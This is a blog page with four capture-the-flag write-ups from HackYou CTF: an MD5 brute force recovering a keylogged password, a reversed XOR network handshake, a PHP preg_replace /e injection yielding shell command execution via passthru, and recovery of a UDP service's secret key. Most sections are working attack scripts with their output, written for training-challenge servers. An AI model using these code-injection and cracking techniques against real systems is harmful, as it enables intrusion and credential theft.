codezen.fr code hacking, zen coding

19Oct/12Off

HackYou CTF – PPC 200 – Oscaderp Forensic Writeup

Posted by aXs

Don't you love challenge with README ?

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
[*] The password that's being used is 1,048,576 characters long.
[*] According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
[*] Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
    The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
[*] We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.

So to summarize:
- We have a partial password (1,048,568 password keystrokes)
- We know the md5 of the whole password: 287d3298b652c159e654b61121a858e0
- We need to bruteforce in a smart way the 8 missing bytes

To solve this challenge we will use a property of MD5: we can hash chunks of the message in succession as long we respect the block size of the algorithm: 64 bytes

Our strategy:
- Init MD5
- Hash 1048568 - 1048568 % 64 = 1048512 bytes
- Bruteforce the missing bytes, using MD5_Update to update the partial hash, much faster than hashing the whole string from scratch for each brute force round

#include <sys/types.h>
#include <sys/uio.h>
#include <openssl/md5.h>

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <math.h>

#define PASSWORD_PARTIAL_LENGTH 1048568
#define PASSWORD_MISSING_LENGTH 8
#define PASSWORD_INIT_LENGTH PASSWORD_PARTIAL_LENGTH - (PASSWORD_PARTIAL_LENGTH % MD5_CBLOCK)
#define HASH_TARGET "287d3298b652c159e654b61121a858e0"

char *byte_to_hex(unsigned char *buffer)
{
  static char hex[MD5_DIGEST_LENGTH * 2];
  int c;

  for(c=0 ; c < MD5_DIGEST_LENGTH ; c++)
    sprintf(hex + c*2, "%.2x", buffer[c]);

  return hex;
}

void hex_to_byte(unsigned char *buffer, unsigned char *digest)
{
  int c;
  unsigned char number[3];

  for(c=0 ; c < (MD5_DIGEST_LENGTH << 1) ; c += 2)
  {
    memcpy(number, buffer + c, 2);
    number[2] = 0;
    sscanf(number, "%x", &digest[c >> 1]);
  }
}

int main(int argc, char *argv[])
{
  FILE *f;

  unsigned int i;
  static unsigned char password[PASSWORD_PARTIAL_LENGTH + PASSWORD_MISSING_LENGTH];

  static unsigned char guess_digest[MD5_DIGEST_LENGTH];
  static unsigned char target_digest[MD5_DIGEST_LENGTH];

  MD5_CTX md5init;

  hex_to_byte(HASH_TARGET, target_digest);
 
  printf("Target hash=");
  printf(byte_to_hex(target_digest));
  printf("\n");

  f = fopen("password", "r");
  fread(password, 1, PASSWORD_PARTIAL_LENGTH, f);
  fclose(f);

  MD5_Init(&md5init);
  MD5_Update(&md5init, password, PASSWORD_INIT_LENGTH);

  for(i = 0 ; i < pow(10, PASSWORD_MISSING_LENGTH) ; i++)
  {
     MD5_CTX md5update;

     memcpy(&md5update, &md5init, sizeof(MD5_CTX));

     sprintf((char *)password + PASSWORD_PARTIAL_LENGTH, "%i", i);

     MD5_Update(&md5update, password + PASSWORD_INIT_LENGTH, MD5_CBLOCK);
     MD5_Final(guess_digest, &md5update);

     if (memcmp(guess_digest, target_digest, MD5_DIGEST_LENGTH) == 0)
     {
        printf("WIN %s %08u\n", byte_to_hex(guess_digest), i);
        exit(0);
     }
  }

  return 0;
}

Result:

$ gcc -O3 -o crack crack.c -lcrypto
$ ./crack
Target hash=287d3298b652c159e654b61121a858e0
WIN 287d3298b652c159e654b61121a858e0 69880983

We add those missing keystrokes to the keylogger content and we get the SHA1:

947c83329e6cf2d9b747af59edf7974752afd741

Share
Tagged as: , Comments Off
19Oct/12Off

HackYou CTF – Epic Arc 300 – CTF.EXE Writeup

Posted by aXs

In this challenge we get a Win32 console binary which just display garbage when started.

Reversing it with IDA, we see it connects to a TCP server.

I had noticed previously that the file being transfered in the Epic Arc 200 challenge was an Erlang BEAM file (compiled erlang)

This BEAM file was a TCP server. You guessed it, this is the server part for this ctf.exe, but not quite exactly the same server that on the challenge box. I will spare you the Erlang disassembly, it's not really interesting. You can obtain it with erts_debug:df(Module).

We can still reverse enough from this BEAM file to understand what the server is doing and the client is doing in reply.

What the server part will do:

- Send a banner (17 bytes)
- Send a session key (8 bytes)
- Send a CRLF (2 bytes)
- Send "IV" (4 random bytes)
- Wait for our handshake
- Reply in an encrypted form with an error message or the flag if your handshake is correct

A correct handshake needs to be:
- "FlagRequest:omkesey" + IV + "\n\r" (this string can be found in CTF.exe)
- XOR encrypted with "_hackme_" itself XORed with the session key sends by the server

To decrypt the server reply, you use this same XOR key.

import socket
import sys

host = sys.argv[1]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,3137))

banner = s.recv(17) # banner
print "banner=", repr(banner)

key = s.recv(8)
print "key=", key.encode("hex"), "len=", len(key)

hackme = "_hackme_"

key2 = ''
i = 0
while i < 8:
  key2 = key2 + chr(ord(key[i]) ^ ord(hackme[i]))
  i = i +1

print "key2=", key2.encode("hex")

key = key2

crlf = s.recv(2)  # \n\r
print "CRLF=", repr(crlf)

iv = s.recv(4)  # random bytes
print "IV=", iv.encode("hex")

request = "FlagRequest:omkesey" + iv + "\n\r"

print "request=", repr(request), "len=", len(request)

handshake = ''

for i in xrange(0, len(request)):
  handshake = handshake + chr(ord(request[i]) ^ ord(key[i % 8]))

print "handshake=", repr(handshake), "len=", len(handshake)
print "handshake=", handshake.encode("hex")

s.send(handshake)

reply = s.recv(128)

print "Raw=", repr(reply)
print "Raw=", reply.encode("hex")

message = ''
for i in xrange(0, len(reply)):
  message = message + chr(ord(reply[i]) ^ ord(key[i % len(key)]))

print "message=", repr(message)
print "message=", message.encode("hex")
Share
19Oct/12Off

HackYou CTF – Web 300 – RNG of Ultimate Security Writeup

Posted by aXs

Web challenge.

We have the "source code" and we know the location of the flag:

<!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
<!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->

The web page is simple form to generate pseudo-random numbers. Here is the form:

    <form method='POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='rng_seeds' cols=50 rows=10>1455592514
1816609169
1284133797
66671252
462888992
</textarea><p/>
      <input type='hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='submit' value='Generate &raquo;' />
    </form>

The RNG "algorithm" is passed in the form in the rng_algorithm POST variable, let's decode it:

ShA1(dATe(CRyPT(CRC32(sTRReV(ABs($1%SqrT(eXP(EXp(pI())))))))))

Looks like a preg_replace pattern with variable $1.

Let's zoom on the obfuscated PHP source code:

<?php

${b("ee3ab0f9421ce0feabb4676542993ab3")} = b("9a8890a6434cd24e876d687bcaf63b40218f525c");
${b("a7d2546914126ca18ca52e3205950070")} = b("c74b0811f86043e9aba0c1d249633993");
${b("116fe81df7d030c1e875745f97f9f138")} = b("6da187003b534e740a777e");
${b("a3bfe0d3698e1310cce7588fbab15dbe")} = b("f19e6937d9080f346a01");
${b("39ebc7035a36015274fdb7bf7c1b661e")} = b("336f2f8b0f837cf318");
${b("66711d77210b4193e5539696d4337127")} = b("283101ccbc823b56");
${b("d1cb34796276edb85d038ee75671cf4b")}(b("82c84c7312d7a17c4df032fc53b96a6eadeacc6624ca8d4763c855a11cb92226a8e3930f10fbef132e844b9062f07676a5b8a02569d68a552ef107d87ff4636ea5a6a10e4d83975a7add578362f07676a5b8ff610ed6d91c66c10ac82894083ae0ba90044a8fdb3e04844b8c36a56a29fed29a0e0ebb8a407a8438c975ec707fe0d4bc2c0e9f8b137acc0e8c41f67076a4badd031dc8e8392e844b8c2ab82f37e0e593050982c54761d108c436ed6a73b3bcd2035a829509218b18c975ec707fb2e89545439f96476bd612c363b7706fefe09e0a49d8914b7a8a0cd636b42f24cd8cd24b0ed6d91223894bcf77f7226eaff391030e828d5a7d9e4bc462ed7220efa9810e4d8397567cca0c827bf0716ea5f48b045bd8974621cd05c873e12c6aa8f6dc1f5682c51e239a66a636b9223afce09d1943d688567acc04c82bbe525593d2d55523fcc5132e844b8c53f7767fb2a686034bd696566bc0188c70f6703ab2e79c0f419bc55d7bc909c964b9657faee3800a5a9f8a5d228404c273b96063e0ea9b054bccd943219a66a636b9223ae0a6ce1f4b8e91527cc10a8c78f86f7ffda1800549a996566bc0188b36fa6d76b3bbc75b0e848a447d995a9c28"));
if (${b("6c74ed82b97f6c415a83aa0aa8baf8d1")}(b("3d7e368111b63c72515d5d46b1"), ${b("eb717d90b3287b1fbd")})) {
    ${b("532194e0380d7a29761eb0b215b4168d")} = ${b("cb3911f75937342f3b")}[b("2daec48e9ce64f696075279dff")];
    ${b("f877261be92e25500a601f21ab4cfa84")} = ${b("507c24291c22ba245b")}[b("398058b936ce0090a90f349a298ae06b96")];
    ${b("dbcffbbeb2632a6e6c6f84ac52064768")} = b("ac51a58253c0a511c9dc9cafd2490c5bd490ccb550c6a111c9de9aacd7480f5fd595cbb952c0a61bc9de9cadd3430857d792ccb553c1a61bcbd89aa8d2490e5ed493ceb254cba11dcedc9dabd5420d5ed793ccb554cba51cc8d59aaed2490e5ad599ceb154cba419c9d49da6d2480856d298cbb854caa110cfd49da7d2480856");
    if (${b("2e272b48041e04ef643cc8624445f2a0")} != ${b("6a24556aba8e247fa9d27de3bed53586")})
        ${b("baee65eb837f2005a229dc821e06b2d9")}(b("d226cbb39ee6930cbddd02ea8b7a2913b7d8a98b9df6850ce79803"));
    else
        ${b("966fd744cb7b26253a2d2e10d4f86ceb")}(${b("ee2d11ebf1e0953de1b3cd330bf63b45")}(b("ef1a9b31679b8ed9faa81647e89a674234"), ${b("6e9dca05952d2364621f20fd1177a04c")}(b("99b85fb97c17"), ${b("b9c7fb42fb9760cf9f90bdc23dcac2e6")}), ${b("532194e0380d7a29761eb0b215b4168d")}));
} else {
    foreach (${b("ff38daff4156b41b58d2ecfb70e4bc6b")}(b("cd248b6cb8"), b("94a8be1778")) as $_)
        ${b("c30cddb21a8c75cc8e45d9fc34655c09")}(${b("9946a48e60730e4ca59fc82e0562fca1")}() . b("f975de3ba2"));
}
${b("88a0090aa5d28c97de682ff340fc340b")}(b("3812ce7d43f003a4010d64890674a759b78a30aa75ff57e1595925c70a7be910b3857ade0fba4ae61110619f067bbe45a9c463c242f805af1e266497047aeb0cb3cd63805fa916ad0c1c38dc5626af5df3943d964de741f54d4830cf5520ab5df3963b9548e642f14c4d37c35726ac57f3963d944ced45f94e4a30cf5627ac57f1903b914de743f04d4b32c8512dab51f4943c924aec40f04e4b30cf512daf50f29d3b974de743f44c4132cb512dae55f39c3c9f4de645f84b4037c2512cab5cf59c3c9e4de645f85e592ac56e1fb945e7852e8743b619b10c0d258f1a65fc58e0d67bc512b603e6590f64971670a44280c060c20dbe03a4595f779a1260f65ee085219972d557e1595939d4057aeb08f9a8048743f015ae1d003bf66929b60db3c86299"));
function b($b)
{
    return eval(Ü瑈©²ÓÒœÄ ¬žó¶é²îŒ–‰…ú í©¦Î²Œ×ª±§èù伦¡®Óð¿¿àšÒ ڊоßÁÜ•ï͵þë™Ä–þ¶±¤³ŒÀåòÈàÙ¡‰¿¸–¦õðö̼Š‰ßº‘ìØÚåàÇЁÑ‘ÊÛ‰âä þŠéÁÔÛ’ÈÕÑ Ï„ªüä±µÑÛÏÉ ^ ®‚åýÛÜó¡è¶ÿÞûƒÓˆÆÆáò¼­‰ÕÚÒ¼š´îûšŸÁՐÎÓć­°•ÖÓȲ¡Ô¨æµÐ÷å¾¼ÂõœÑÚ¯í¿ ÆÐþÏ›®œÆð¼¡Ü؍úÊÚåÒ‡ØÒ®² ö);
}

Looks a lot like obfuscated javascript. The string decode is function b. Function b is an eval function and a funny looking binary string.

What does this string do ?

Using the Vulcan Logic Decompiler (php opcode disassembler) :

line     # *  op                           fetch          ext  return  operands
---------------------------------------------------------------------------------
   3     0  >   EXT_STMT                                                
         1      FETCH_CONSTANT                                   ~0      '%DC%E7%91%88%A9%B2%D3%D2%9C%C4%A0%AC%9E%F3%B6%E9%B2%EE%8C%96%89%85%FA%A0%ED%A9%A6%CE%B2%90%8C%D7%AA%B1%A7%E8%F9%E4%BC%A6%A1%AE%81%D3%F0%BF%BF%E0%9A%D2%A0%DA%8A%D0%BE%DF%C1%DC%95%EF%CD%B5%FE%EB%99%C4%96%FE%B6%B1%9D%A4%B3%8C%C0%E5%F2%C8%E0%D9%EE%AF%8A%A1%89%BF%B8%96%A6%F5%F0%F6%CC%BC%8A%89%DF%BA%91%EC%D8%DA%E5%E0%C7%D0%81%8F%D1%91%CA%DB%89%E2%E4%A0%FE%8A%E9%C1%D4%DB%92%C8%D5%C3%91%A0%CF%84%8F%AA%FC%E4%B1%B5%D1%DB%CF%C9'
         2      FETCH_CONSTANT                                   ~1      '%AE%82%E5%FD%DB%DC%F3%A1%E8%B6%FF%DE%FB%83%D3%88%C6%C6%E1%F2%BC%AD%89%D5%8F%DA%D2%BC%9A%B4%EE%FB%9A%9D%9F%C1%D5%90%CE%D3%C4%87%AD%B0%95%D6%D3%C8%B2%A1%D4%A8%E6%B5%D0%F7%E5%BE%BC%C2%F5%9C%D1%DA%AF%ED%BF%A0%C6%D0%FE%CF%9B%AE%9C%9D%C6%F0%BC%A1%DC%CE%A8%8D%FA%CA%DA%E5%D2%87%D8%D2%AE%90%B2%A0%F6%81'
         3      BW_XOR                                           ~2      ~0, ~1
         4      FREE                                                     ~2
   5     5    > RETURN                                                   1

I don't quite explain myself yet how this binary string ends up being executed by the Zend parser yet but I know enough to reproduce the decryption in Cryptool, xoring hex string 1 with hex string 2:

return str_repeat(md5(substr($b,0,8),true),ceil((strlen($b)-8)/16))^pack("\x48\x2a",substr($b,8));

So this is function b. Now we can write a python script that will unobfuscate the string for us:

import hashlib
from Crypto.Cipher import XOR

file = open("web300.strings")

source = open("web300.txt").read()

for line in file:
  s = line.strip()
  key = s[0:8]
  cipher = s[8:]
  m = hashlib.md5()
  m.update(key)
  hash = m.digest()
  obj=XOR.new(hash)
  plain = obj.decrypt(cipher.decode("hex"))
  print key, plain
  source = source.replace("b(\"" + s + "\")", plain)

print source

Result:

${Gjx7QbQ4l3EL}=array_key_exists;${USVuYTejL3cA}=preg_replace;${lRzbPV0GVCmL}=mt_rand;${eU3WOwVfyB2j}=printf;${MFBEFx3icClz}=range;${KytnuQGCMhPA}=pack;${eU3WOwVfyB2j}(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);if(${Gjx7QbQ4l3EL}(rng_seeds,${_POST})){${LhfnDi9VtrJM}=${_POST}[rng_seeds];${aKRml6aSjmxW}=${_POST}[rng_algorithm];${SBBTqFwnO6s5}=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;if(${aKRml6aSjmxW}!=${SBBTqFwnO6s5})${eU3WOwVfyB2j}(wuut?! hacker detected!);else${eU3WOwVfyB2j}(${USVuYTejL3cA}(#\b(\d+)\b#se,${KytnuQGCMhPA}(H*,${aKRml6aSjmxW}),${LhfnDi9VtrJM}));}else{foreach(${MFBEFx3icClz}(1,5)as$_)${eU3WOwVfyB2j}(${lRzbPV0GVCmL}().
);}${eU3WOwVfyB2j}(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Much better but we still have a second layer of obfuscation, let's remove it using some simple search/replace in vim:

printf(<!DOCTYPE html>
<html>
  <head>
    <title>RNG of Ultimate Security</title>
  </head>
  <body>
    <h3>The Most Secure RNG in the World</h3>
    <!-- can't touch this: http://securerng.misteryou.ru/flag.txt.gz -->
    <!-- can touch this: http://securerng.misteryou.ru/index.php.txt -->
    <form method='
POST'>
      Enter the seeds for random number generation, one by line:<p/>
      <textarea name='
rng_seeds' cols=50 rows=10>);

if(array_key_exists(rng_seeds,${_POST})){

  if(${_POST}[rng_algorithm]!=5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929)
    printf(wuut?! hacker detected!);
  else
    printf(preg_replace(#\b(\d+)\b#se,pack(H*,${_POST}[rng_algorithm]),${_POST}[rng_seeds]));
}
else
{
  foreach(range(1,5) as $_) printf(mt_rand().);
}

printf(</textarea><p/>
      <input type='
hidden' name='rng_algorithm' value='5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929' />
      <input type='
submit' value='Generate &raquo;' />
    </form>
 </body>
</html>);

Nice! preg_replace with an "e" (execute) modifier but:
- the pattern will only match decimal number (\d+) so we can't use the classic attack of passing a PHP function in rng_seeds and getting it executed by the "e" modifier.
- there is a "security check" on the content of rng_algorithm so we cannot replace directly this hex string with our own php code

Now take a closer look on the security check. The huge hex string is not actually a string.. it's missing quotes! So PHP will interpret it as a number.. but PHP is not very good with huge numbers if you don't use the special BigInt functions. Let's verify this:

$ php -a
Interactive shell

php > $a = 5368413128644154652843527950542843524333322873545252655628414273282431255371725428655850284558702870492829292929292929292929;
php > echo $a;
5.3684131286442E+123

The number is truncated to 5368413128644200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

So we can replace anything after 5368413128644154, PHP won't be able to properly compare it with the reference numbers.

Now please notice something: in order to be a valid number, this hex string cannot contains letters! So we can only use characters using the [0-9] pattern.

This severely restrict which php functions and characters we can use. I wrote a simple script to dump all built-in PHP function names that were only numbers when converted to hex:

$funcs = get_defined_functions();

foreach($funcs['internal'] as $func)
{
  $l = '';
  $i = 0;
  while($i < strlen($func))
  {
    $l .= dechex(ord($func[$i++]));
  }
  if (is_numeric($l) && !strpos($l, 'e'))
  {
    print $func . ' = ' . $l . PHP_EOL;
  }
}

Result:

$ php func.php
each = 65616368
date = 64617465
idate = 6964617465
getdate = 67657464617465
ereg = 65726567
eregi = 6572656769
bcadd = 6263616464
...

So we need to keep "5368413128644154" at the beginning of the number which is hex for "ShA1(dAT"

The flag is in the flag.txt.gz file.

I settled on the following code:

ShA1(dATe(passthru('cat `dir`')))

Why ?

- "flag.txt.gz" cannot be expressed only with [0-9] hex
- passthru() will output the result of the shell command directly to the browser, bypassing date() and sha1().
- Little bash expansion trick to get cat to output every file in the current directory

So this will dump the file content of all files in the current folder. From there, we extract flag.txt.gz and extract it, it's 19 megabytes big. It turns out be base64-encoded multiple times but nothing difficult.

I will need to research more about the binary string being executed by Zend parser later.

Please note you can also decrypt the b function using Xdebug's tracing functionality.

Share
Tagged as: , Comments Off
18Oct/12Off

HackYou CTF – Crypto 300 – UDP Hardcore Writeup

Posted by aXs

In this challenge we need to guess the secret key used by an encryption service running over UDP.

We get the source of the server-side.

The encryption algorithm uses a Sbox that is initialized with sequential numbers from 1 to 128:

SALTED_SBOX = list(range(128))

Then the secret key is mixed in the Sbox using element permutations:

add_key(SALTED_SBOX, KEY)

def add_key(sbox, k):
  for i, c in enumerate(k):
    sbox[i], sbox[ord(c)] = sbox[ord(c)], sbox[i]
    for i in xrange(len(sbox)):
      sbox[i] = (sbox[i] + 1) % 128
  return

The packet format for this service is then one UDP packet per request as this:

[[C1][C2]..[Cn]] where n < 64

Command block is divided in 2 equals parts:

mid = len(data) &gt;&gt; 1
k = data[:mid].rstrip("\x00")
m = data[mid:].rstrip("\x00")

c = encrypt(SALTED_SBOX, k, m)
f.sendto(c.encode("hex"), addr)

One part, k, is used to mix more data in the Sbox part and the other part, m, is used for encryption

def encrypt(sbox, k, m):
  sbox = sbox[::]
  add_key(sbox, k)

  c = ""
  for ch in m:
    c += chr(sbox[ord(ch)])
    sbox = combine(sbox, sbox)
  return c

The combine function is full of evil remix so we need to avoid it if we want to keep track of the state of the Sbox:

def combine(a, b):
  ret = [-1] * len(b)
  for i in range(len(b)):
    ret[i] = a[b[i]]
  return tuple(ret)

As the Sbox is copied over anew for each request (sbox = sbox[::]), if we send a single m part, we will avoid the combine.

So our strategy:
- Send 127 2-bytes packets with an empty k part (NUL character) and just one m part request to dump the Sbox from the server
- The dump will miss offset 0 of the Sbox so we use one add additionnal packet to swap offset 0 and 1 in the Sbox and request offset 1 again to fill in our local Sbox offset 0
- Revert the mixing algorithm using the dumped Sbox to recover the key

Source code:

#!/usr/bin/env python

import os, sys
import socket

host = sys.argv[1]

addr = (host, 7777)

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

sbox = list(range(128))

for i in xrange(1,128):

  msg = chr(0) + chr(i)
  s.sendto(msg,addr)
  reply, addr = s.recvfrom(1024)
  sbox[i] = ord(reply.decode("hex"))

msg = chr(1) + chr(1)
s.sendto(msg,addr)
reply, addr = s.recvfrom(1024)
sbox[0] = ord(reply.decode("hex")) - 1

print "Dumped Sbox=", repr(sbox)

local_sbox = list(range(128))

key_length = sbox[127]

print "Key length=", key_length + 1

for k in xrange(0,128):
  sbox[k] = (sbox[k] - key_length - 1)  % 128

flag = ''

i = 0
while i < key_length+1:
  a = sbox[i]
  if a:
    c = local_sbox.index(a)
    print "Position=", i, "Remote Sbox=", a, "Local Sbox offset=", c,  "Char=", repr(chr(c))
    flag = flag + chr(c)
    local_sbox[i], local_sbox[c] = local_sbox[c], local_sbox[i]
    for z in xrange(len(local_sbox)):
      local_sbox[z] = (local_sbox[z] + 1) % 128
      sbox[z] = (sbox[z] + 1) % 128
  i = i + 1

print "flag=", flag

Run it:

Dumped Sbox= [86, 3, 13, 122, 14, 2, 75, 28, 29, 5, 77, 19, 34, 6, 74, 8, 83, 38, 127, 41, 40, 15, 1, 31, 89, 88, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 46, 32, 76, 36, 78, 79, 80, 81, 82, 42, 84, 85, 26, 87, 51, 50, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 43, 123, 124, 125, 126, 44, 0, 48, 49, 27, 4, 35, 39, 7, 45, 9, 10, 11, 12, 33, 30, 47, 16, 17, 18, 37, 20, 21, 22, 23, 24, 25]
Key length= 26
Position= 0 Remote Sbox= 60 Local Sbox offset= 60 Char= '<'
Position= 1 Remote Sbox= 106 Local Sbox offset= 105 Char= 'i'
Position= 2 Remote Sbox= 117 Local Sbox offset= 115 Char= 's'
Position= 3 Remote Sbox= 99 Local Sbox offset= 96 Char= '`'
Position= 4 Remote Sbox= 120 Local Sbox offset= 116 Char= 't'
Position= 5 Remote Sbox= 109 Local Sbox offset= 104 Char= 'h'
Position= 6 Remote Sbox= 55 Local Sbox offset= 49 Char= '1'
Position= 7 Remote Sbox= 9 Local Sbox offset= 115 Char= 's'
Position= 8 Remote Sbox= 11 Local Sbox offset= 96 Char= '`'
Position= 9 Remote Sbox= 116 Local Sbox offset= 107 Char= 'k'
Position= 10 Remote Sbox= 61 Local Sbox offset= 51 Char= '3'
Position= 11 Remote Sbox= 4 Local Sbox offset= 121 Char= 'y'
Position= 12 Remote Sbox= 20 Local Sbox offset= 96 Char= '`'
Position= 13 Remote Sbox= 121 Local Sbox offset= 108 Char= 'l'
Position= 14 Remote Sbox= 62 Local Sbox offset= 48 Char= '0'
Position= 15 Remote Sbox= 125 Local Sbox offset= 110 Char= 'n'
Position= 16 Remote Sbox= 73 Local Sbox offset= 57 Char= '9'
Position= 17 Remote Sbox= 29 Local Sbox offset= 96 Char= '`'
Position= 18 Remote Sbox= 119 Local Sbox offset= 101 Char= 'e'
Position= 19 Remote Sbox= 34 Local Sbox offset= 110 Char= 'n'
Position= 20 Remote Sbox= 34 Local Sbox offset= 48 Char= '0'
Position= 21 Remote Sbox= 10 Local Sbox offset= 117 Char= 'u'
Position= 22 Remote Sbox= 125 Local Sbox offset= 103 Char= 'g'
Position= 23 Remote Sbox= 28 Local Sbox offset= 104 Char= 'h'
Position= 24 Remote Sbox= 87 Local Sbox offset= 63 Char= '?'
Position= 25 Remote Sbox= 87 Local Sbox offset= 62 Char= '>'
flag= <is`th1s`k3y`l0n9`en0ugh?>
Share